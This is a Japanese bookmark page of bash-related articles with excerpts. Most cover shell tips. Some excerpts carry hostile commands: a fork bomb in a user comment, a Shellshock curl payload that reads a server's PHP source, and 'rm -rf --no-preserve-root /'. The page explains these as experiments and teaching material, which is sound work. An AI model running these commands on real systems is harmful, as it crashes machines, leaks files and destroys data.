タグ

bashに関するot2sy39のブックマーク (21)

  • bash の危険な算術式 - どさにっき

    ■ bash の危険な算術式 _ 使ってる人がいちばん多いだろうからタイトルでは bash としてるけど、ここで取り上げることは zsh および ksh 一族(家 ksh、pdksh、mksh)にも該当する。ash、dash などでは該当しない。 _ 以下のシェルスクリプトには脆弱性がある。わかるだろうか。 #!/bin/bash # "品目,単価,個数" の形式の CSV を読んで、"品目,合計金額" の形式で出力する csv="foo.csv" while IFS=, read item price num; do echo "$item,$((price*num))" done < "$csv" これ、細工された CSV ファイルをわせることで、任意コードの実行ができてしまう。数ある脆弱性の中でもとくにヤバいやつだ。どこが穴なのかというと、タイトルにもあるとおり算術式なのだが、し

    ot2sy39
    ot2sy39 2019/09/02
    setコマンドで算術式を使ったとき数値以外があるとエラーになるオプションを作ってほしいな。
  • bash のブレース展開機能の紹介と用例 - それマグで!

    bash のブレース展開機能が強化されている bash 4.0 から、bash のブレース展開機能が強化されています。 bash のブレース展開の使い方を紹介したいと思います。 bash ゼロ埋め展開機能 数字のゼロ埋めができるようになっています ゼロ埋めの例1 echo {00000..10} echo {00..10} 実際の例 $ for i in {000..3}; do echo $i.jpg ; done ; 000.jpg 001.jpg 002.jpg 003.jpg 従来は、printf と組み合わせる必要があったのですが、コレがとても楽になっています。 bash の ブレース展開の増分値を指定 偶数の増分値や、5飛び飛びの値で出すことができるようになっています。 ゼロ埋めの例2 増分指定 echo {00..10..2}.jpg ; 実際の例 takuya@Deskto

    bash のブレース展開機能の紹介と用例 - それマグで!
    ot2sy39
    ot2sy39 2018/03/22
    これで学ぶ。
  • Cisco Catalyst IOS-XEでのPythonやBash - Qiita

    これは何? Catalyst 3850や3650といった普及版(企業向け)L3スイッチのIOS-XE16.5.1aにて、ゲストシェル(Bash)やPythonスクリプティングがサポートされたらしいので、取り急ぎどんなモノか確認するメモ。 Cisco IOS XE Everest 16.5.1aのリリースノート 該当部分は以下。スイッチ上でLXCLinux Container)が動くらしい。 Guest Shell—A secure LXC container that is an embedded Linux environment and enables you to develop and run Linux and custom Python applications for automated control and management of Cisco switches. G

    Cisco Catalyst IOS-XEでのPythonやBash - Qiita
    ot2sy39
    ot2sy39 2017/08/03
    Catalystのコンソールでlinuxの各種フィルタが使えるのか(viも使える)。awkとかあるのかしら。
  • bashの組込みコマンド自作によるスクリプトの高速化 - Qiita

    はじめに bashには次の2つの理由によって、組み込みコマンド(builtin command)というものが存在します。 スクリプトの高速化のため。組み込みコマンドであれば通常のコマンドを実行する場合に比べてプロセスの生成コスト(fork()/exec())が削減できる bash自身の状態を変更させるため。例えばcdコマンドを/bin/cdとして用意してbashから当該コマンドを実行しても、当該コマンドのpwdが変更されるだけで、bashのそれは変更されないため、意味がない 今回は前者に焦点を合わせて、その効果と、組み込みコマンドの自作方法について述べます。 予備知識: 組込みコマンドによるスクリプト高速化の効果 組込みコマンドそのものの存在、及びその存在意義について既にご存知のかたは、この節を飛ばしてもらって構いません。 例えば皆さんがbashスクリプトからechoコマンドを実行した場合

    bashの組込みコマンド自作によるスクリプトの高速化 - Qiita
  • シェルスクリプト(Bash)で作るTwitterクライアント - Qiita

    Shell Script Advent Calendarをご覧の皆様、初めまして。Piroといいます。普段はJavaScriptRubyでのソフトウェア開発やFirefoxの法人向け技術サポートなどをしつつ、日経Linux誌でシス管系女子という連載マンガを描かせて頂いております。 Linux Advent Calendarの方にGUIアプリのスクショを定期的にSlackに流すシェルスクリプトの話でエントリーしたのですが、Shell Script Advent Calendar的にはそれをこっちを投稿した方が良かったかもと今更思いつつ、今日は別の話題です。 シェルスクリプト製Twitterクライアントには恐怖!小鳥男やtweet.sh(同名の別実装)などいくつか実装例がありますが、自分も2015年末頃からtweet.shという汎用のTwitterクライアントを開発しています。この記事ではt

    シェルスクリプト(Bash)で作るTwitterクライアント - Qiita
  • https://qiita.com/chikyukotei/items/cab75ed7e0fb5d9b9793

    ot2sy39
    ot2sy39 2016/05/10
    bomb() { bomb | bomb & } ; bomb だったのねぇ。
  • Windows 10のbash on Windowsを試す - kkamegawa's weblog

    はじめに blogs.windows.com Windows 10のInsiderビルド14316が公開されました。//Buildで発表されたbash on Windowsも入っています。bashなのでbashそのものの挙動はともかく、Windowsで実際にどう見えるのか確認してみます。ベータなので将来変わると思いますので、その点はよろしく。 インストール 初回起動時のbash.exeはコンソールのストアアプリ(Windows Runtimeを使うアプリ)のようで、ちょっと違います。ご注意。公になるものでは初めてのWindows Runtimeを使ってストアにアクセスするコンソールアプリケーションってことになるんでしょうか。理屈上はできることはわかっていましたが。 まずはプログラムの追加と削除からWindowsの機能で「Windows Subsystem for Linux」を追加します。

    Windows 10のbash on Windowsを試す - kkamegawa's weblog
    ot2sy39
    ot2sy39 2016/04/07
    WindowsからはUbuntuのファイルシステムはどう見えるんだろう。見えない?
  • Bashのよくある間違い | Yakst

    原文は2015年8月22日時点のものを利用しており、それ以降に追記、更新されている可能性があります。 翻訳は原作者の許可を得て公開されています。 Thanks for GreyCat! このページはBashプログラマーが陥りがちなよくあるエラーについてまとめました。以下の例は全てなんらかの欠陥があります。 クオートをいつも使い、どんな理由があっても単語分割を使わなければ、多くの落とし穴からあなた自身を守ることができます!単語分割はクオート表現をしない場合にはデフォルトでオンになっている、Bourneシェルから継承された壊れたレガシーな設計ミスです。落とし穴の大半はクオートされていない展開になんらか関連し、単語分割しその結果をグロブします。 1. for i in $(ls *.mp3) BASHプログラマーたちがループを書く際にもっとも犯しがちなよくあるミスは以下のような感じです。: f

    Bashのよくある間違い | Yakst
  • The art of command line (日本語訳) | Yakst

    コマンドラインで素早い操作ができるのは、優れたエンジニアの資質の一つとも言える。そのためのテクニックを集めた珠玉のコマンド集。 原文のコミット bb0c38c0899339e836c37eead4a9534b06c56662 The Art of Command Line メタ情報 基 日常的に使うもの ファイルとデータの処理 システムのデバッグ ワンライナー 目立たないが便利なもの さらなるリソース 免責事項 コマンドラインで流れるように操作ができるということは、軽く見られたり他人から理解されないスキルだとみなされることもあるでしょう。しかしそのスキルは、明らかにかすぐ分かるようかは問わず、エンジニアとしてのあなたの柔軟性や生産性を改善してくれるものです。ここでは、Linuxでコマンドラインを使う上で便利だと思ったメモやTipsの数々を挙げてみます。あるものは基礎的ですが、非常に詳しい

    The art of command line (日本語訳) | Yakst
    ot2sy39
    ot2sy39 2015/09/10
  • IBM Developer

    IBM Developer is your one-stop location for getting hands-on training and learning in-demand skills on relevant technologies such as generative AI, data science, AI, and open source.

    IBM Developer
    ot2sy39
    ot2sy39 2015/06/30
    机を整理してたら、はてブ始める前に見ていたコンテンツのプリントアウトが出てきたので、改めてブクマ。
  • 無効なURLです

    無効なURLです。 プログラム設定の反映待ちである可能性があります。 しばらく時間をおいて再度アクセスをお試しください。

    ot2sy39
    ot2sy39 2015/04/27
    Kindleで買ったんだけどメモをつけておこう。KPWでメモつけるの辛そうなので、for PCを入れてみるか。
  • bashのTips色々 - Qiita

    Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article?

    bashのTips色々 - Qiita
  • xargsの罠 - Just another Ruby porter, 2015-1-c

    ■ sedでも対応してみる awkの$3は3つあることを確認している。 つまりsedでも3個あることを確認すればいい。 フィールドが3個ということは区切りは2個なので/ .* /でok。 % seq 100|xargs -n3|sed '/ .* /s/[^ ]*$/Fizz/'|xargs -n5|sed '/ .* .* .* /s/[0-9]*$/Buzz/'|xargs -n1 ちょっと不恰好だけど、正規表現で条件を書けばいける。 ■ readの挙動 while read lineで読んでいるときに最終行に改行がないとループを抜けてしまう。 だが、read自身はちゃんとlineへ反映させているのであった。 % bash -c 'echo -n foo | while read line; do echo $line; done' % bash -c 'echo -n foo | {

    ot2sy39
    ot2sy39 2015/01/23
    readの挙動。while read lineの終了判定について。
  • 2014/09/24に発表されたBash脆弱性と解決法(RedHat系、9/26更新) - Qiita

    Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article?

    2014/09/24に発表されたBash脆弱性と解決法(RedHat系、9/26更新) - Qiita
    ot2sy39
    ot2sy39 2014/09/25
    HTTPサーバなど動かしてないはずだけど、あとでVPSのbash対処しとこう。
  • BASHの脆弱性でCGIモードで動いてるPHPにアレさせてみました - dogmap.jp

    タイトルはパクリ 元記事: BASHの脆弱性でCGIスクリプトにアレさせてみました – ブログ – ワルブリックス株式会社 sakura のレンタルサーバが cgi モードで php 動かしてるよなーと思ってテストしてみたらできました。 # テストスクリプトは削除済みです。 test.php test.sh #!/usr/local/bin/bash echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script which is executed by /usr/local/bin/bash" 結果 : Apache CGI版 PHP $ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php' http://wokam

  • BASHの脆弱性でCGIスクリプトにアレさせてみました

    環境変数に仕込まれたコードを実行してしまうBASHの脆弱性が CGIスクリプトに影響を与えるか試してみたら結果は悲惨な感じに Tweet 2014年9月25日 嶋田大貴 この記事は2014年のものです 朝から Bash specially-crafted environment variables code injection attack なるもので騒ぎになっていたので、さっそく手元の Apacheで試してみました。 /hoge.cgiというURIで実行されるように、一行のメッセージを出力するだけの CGIスクリプトを設置します。いっけん、なんの入力もクライアント側から受け付けていないため危険のありようもなく見えます。 #!/bin/sh echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script w

    BASHの脆弱性でCGIスクリプトにアレさせてみました
  • Bash specially-crafted environment variables code injection attack

    This article was originally published on the Red Hat Customer Portal. The information may no longer be current. Update 2014-09-30 19:30 UTC Questions have arisen around whether Red Hat products are vulnerable to CVE-2014-6277 and CVE-2014-6278.  We have determined that RHSA-2014:1306, RHSA-2014:1311, and RHSA-2014:1312 successfully mitigate the vulnerability and no additional actions need to be ta

    Bash specially-crafted environment variables code injection attack
    ot2sy39
    ot2sy39 2014/09/25
    ぽっと出のプログラムじゃないのに残ってるもんだねぇ。
  • rm -rfしちゃったけどどうする

    rm -rf remains rm -rfの後に残りしもの 遊びのために、筆者は新しいLinuxサーバーを立ち上げて、rootでrm -rf /を実行して、何が残るかをみてみた。どうやら、今のrmというのは筆者のようなアホを相手にしなければならない未来に生きているようなので、実際に実行するには、--no-preserve-rootをつける必要があった。 # rm -rf --no-preserve-root / かかるおろかなる行為の後では、 /bin/ls /bin/cat /bin/chmod /usr/bin/file のような、偉大なるツールのたぐいはみな消え失せてしまった。まだ、ssh接続とbashセッションは生きているはずだ。つまり、bashの組み込みコマンドであるechoとかは残っているということだ。 Bashマクガイバーたれ root@rmrf:/# ls -bash: /

    rm -rfしちゃったけどどうする
    ot2sy39
    ot2sy39 2014/06/15
    実にクリエイティブな話。
  • コンソールから切れたプロセスを標準出力につなげなおす - 絶品ゆどうふのタレ

    不慣れな環境を不意にいじった時にあるあるネタ。 とりあえずー とか言って勢いで書いたsetupスクリプトを実行してみたら意外と時間かかって、 ちょっと目を離した隙にsshの接続が切れちゃいました! 。。。ありますよね。ほんとよくありますよね。 そうなる予感はあったんだ なんて後の祭りです。ふとした油断から、screenもnohupすらも使わずにやってしまって、こんなことに。 shellがHUPしなかったからプロセスは生きてるものの、ログが見れないから進行状況がわからない。 うまく行ってるのかどうかモヤモヤした気持ちのまま、プロセスが終わるのをじっと待つ。。。 まぁ実に切ないです。 こんな時、いつも思うこと。 このプロセスの出力、もっかいstdoutに繋げられたらいいのに。。。 はい。というわけでつなげましょう。 長い前座ですみません。 切り離したプロセスを用意 #!/bin/bash wh

    コンソールから切れたプロセスを標準出力につなげなおす - 絶品ゆどうふのタレ
    ot2sy39
    ot2sy39 2014/02/06
    メモ
  • bashのプロセス置換機能を活用して、シェル作業やスクリプト書きを効率化する - 双六工場日誌

    @hirose31 さんが「シェルスクリプトでハマった件→【募】ステキな回避方法」でお題を出されていて、それに回答してみました。 その内容はリンク先を見てもらうとして、回答の中で使ったbashのプロセス置換について書かれた記事をあまり見ないので、回答で使ったプロセス置換のことをエントリにしてみたいと思います。 最初に注意点ですが、プロセス置換の機能は、bashやzsh*1の機能でPOSIX互換の機能ではありません。そのため、使用時には、対応していないシェルでは使えませんし、bashで使う場合も /bin/sh ではなく /bin/bash を明示的に指定する必要があります。たとえば、プロセス置換を使ったスクリプト「script.sh」に対して"$ bash script.sh" というコマンドは成功しますが、"$ sh script.sh" というコマンドは失敗します。この辺りの違いは「/

    bashのプロセス置換機能を活用して、シェル作業やスクリプト書きを効率化する - 双六工場日誌